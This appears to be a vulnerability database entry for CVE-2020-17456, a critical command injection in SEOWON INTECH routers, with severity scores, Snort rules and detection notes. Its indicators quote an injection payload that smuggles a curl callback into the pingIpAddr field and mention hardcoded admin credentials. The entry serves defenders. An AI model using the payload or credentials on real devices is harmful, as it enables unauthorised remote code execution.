cbcvebase.
CVE-2020-17456
published 2020-08-20

CVE-2020-17456: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page.

PriorityP193critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
70.91%
99.3th percentile
SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page.

Detection & IOCsextracted from sources · hover to see the quote

path/cgi-bin/system_log.cgi
path/cgi-bin/login.cgi
commandpingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'
snort
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT SEOWON INTECH SLC-130/SLR-120S RCE Inbound M1 (CVE-2020-17456)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/system_log.cgi"; http.request_body; content:"&pingIpAddr="; fast_pattern; content:"%3B%"; within:5; nocase; reference:cve,2020-17456; classtype:attempted-admin; sid:2035950; rev:3; metadata:attack_target Networking_Equipment, created_at 2022_04_14, cve CVE_2020_17456, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, updated_at 2024_03_08;)
snort
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT SEOWON INTECH SLC-130/SLR-120S RCE Inbound M2 (CVE-2020-17456)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/system_log.cgi"; http.request_body; content:"&pingIpAddr="; fast_pattern; pcre:"/^(?:\x3b|\x0a|\x26|\x60|\x7C|\x24)/R"; reference:cve,2020-17456; classtype:attempted-admin; sid:2035951; rev:2; metadata:created_at 2022_04_14, cve CVE_2020_17456, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
  • Exploit targets POST requests to /cgi-bin/system_log.cgi with the 'pingIpAddr' parameter containing a shell command injection prefix (semicolon or other shell metacharacter) to achieve unauthenticated RCE.
  • The injection payload in 'pingIpAddr' begins with a shell metacharacter: semicolon (;, %3B), newline (\x0a), ampersand (&, \x26), backtick (`, \x60), pipe (|, \x7C), or dollar sign ($, \x24) — all covered by the M2 Snort PCRE.
  • URL-encoded semicolon (%3B) immediately followed by another percent-encoded character in the pingIpAddr body field is a reliable M1 detection pattern.
  • The exploit also POSTs to /cgi-bin/login.cgi with hardcoded credentials (admin/admin or others) before the RCE step; detecting this login attempt followed by a system_log.cgi POST is a strong behavioral signal.
  • The Nuclei template uses an out-of-band (OOB/interactsh) HTTP callback to confirm RCE; defenders should monitor for unexpected outbound HTTP from router management interfaces.
  • ·Multiple sets of hardcoded credentials are present in the firmware and are used by the exploit; these should be treated as known-compromised credentials for any exposed device.
  • ·The vulnerability affects all firmware versions of the SLR-120 series according to the second exploit author, not just the specific version (Lync:Mac firmware 1.0.1) noted in the first exploit.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
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